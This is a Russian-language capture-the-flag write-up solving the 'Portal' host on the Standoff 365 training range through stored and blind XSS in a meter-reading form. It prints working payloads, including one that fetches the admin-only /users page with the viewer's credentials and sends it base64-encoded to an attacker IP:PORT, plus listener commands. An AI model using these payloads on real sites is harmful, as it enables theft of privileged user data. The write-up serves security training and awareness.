Всем привет!

Меня зовут Влад, aka Arkeil. Довольно часто решаю таски на платформе Standoff 365  и совсем недавно мне удалось попасть в топ-25 атакующих по итогам первого сезона на Standoff Hackbase.

Эта статья посвящена разбору хоста Portal на Standalone.

Standoff Standalone

Новый сегмент онлайн-полигона, где представлены одиночные хосты с уникальной конфигурацией и набором уязвимостей. Здесь можно попрактиковаться в проведении атак в разных отраслях цифрового Государства F, используя различные хакерские инструменты и техники.

Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Наша цель — рассказать о существующих уязвимостях, которыми могут воспользоваться злоумышленники, и дать рекомендации по защите. Авторы не несут ответственности за использование кем-то информации из статьи.

Нам было нужно реализовать утечку персональных данных клиентов. Для того, чтобы выполнить задание, необходимо получить информацию о клиенте с ID=2.

Разведка

Перед началом поиска уязвимостей стоит просканировать хост на открытые порты, что вы можете увидеть на скриншоте ниже.

При переходе на 80-м порт получаем обычную веб-страницу.

Сайт на найденном 80-м порту
Сайт на найденном 80-м порту

После изучения страницы в ответе от сервера можно увидеть скрытые страницы /users и /readings, которые нам пригодятся в дальнейшем, а также кнопку Login.

При изучении веб-сервиса можно увидеть кнопку регистрации, что даст нам возможность исследовать дополнительный функционал приложения.

После регистрации обнаружилось, что  в приложении есть функционал добавления различных параметров через кнопки, которые присутствуют на скриншоте ниже (Address, Meter, Reading).

Добавляем адрес со случайными параметрами.

Также добавляем случайные значения для всех возможных полей.

Осталась последняя кнопка «Add Reading», добавим в нее произвольные значения для тестирования различных уязвимостей. В поле «Value» добавим 1'"><'1 и посмотрим ответ от сервера, так как данное значение будет отображено на странице. В ответе от сервера можно будет понять, как обрабатываются введенные символы.

В ответе от сервера можно увидеть, что все наши кавычки и знаки никак не обрабатываются.

Так как знаки не обрабатываются, можно проверить сайт на XSS-уязвимость. Вставим в поле «Value» следующую нагрузку: “><img src=x onerror=alert(1)> – стандартную нагрузку для проверки XSS.

Мы видим, что XSS отработало, так как всплыл alert(1).

Успешное выполнение нагрузки для XSS
Успешное выполнение нагрузки для XSS

Теперь проверим Blind XSS – вдруг кто-то читает то, что мы внесли. Добавим в поле «Value» следующую полезную нагрузку: 

'"><script>document.location='http://IP:PORT/'+document.domain</script>.

При успешной эксплуатации нам вернется FQDN сайта. Также запустим сервер на Python для просмотра: python3 –m http.server 10010

В ответе от сервера получаем следующее:

Можно увидеть два запроса. Первый запрос – наш, после редиректа от ввода Value, а второй уже нет – кто-то наткнулся на нашу XSS! Есть предположение, что это может читать администратор. У нас были скрытые страницы, доступа на которые у нас нет. Можно сформировать новую XSS-нагрузку, которая вернет нам страницу users, если нас просматривает администратор.
Payload:
'"><img src=x onerror="fetch('/users',{credentials:'include'}).then(r=>r.text()).then(d=>{var i=newImage;i.src='http://IP:PORT/?readings='+btoa(encodeURIComponent(d))})">
 
Запускаем nc в ожидании нашей страницы.

Вставляем наш payload на страницу «Add Reading».

Получаем в ответе страницу, задекодированную в Base64.

Раздекодим с помощью приложения CyberChef и получаем страницу /users, а значит именно админ прочитал:

Так как по заданию флаг лежит в пользователе с ID=2, ищем его в пользователях.

Флаг получен, таск решен. 


Данная задача показывает, насколько критичной может быть XSS-атака, особенно если она Storage и на нее может попасть администратор платформы. Всегда проверяйте различные поля ввода на возможную XSS, так как это может привести к различным утечкам данных.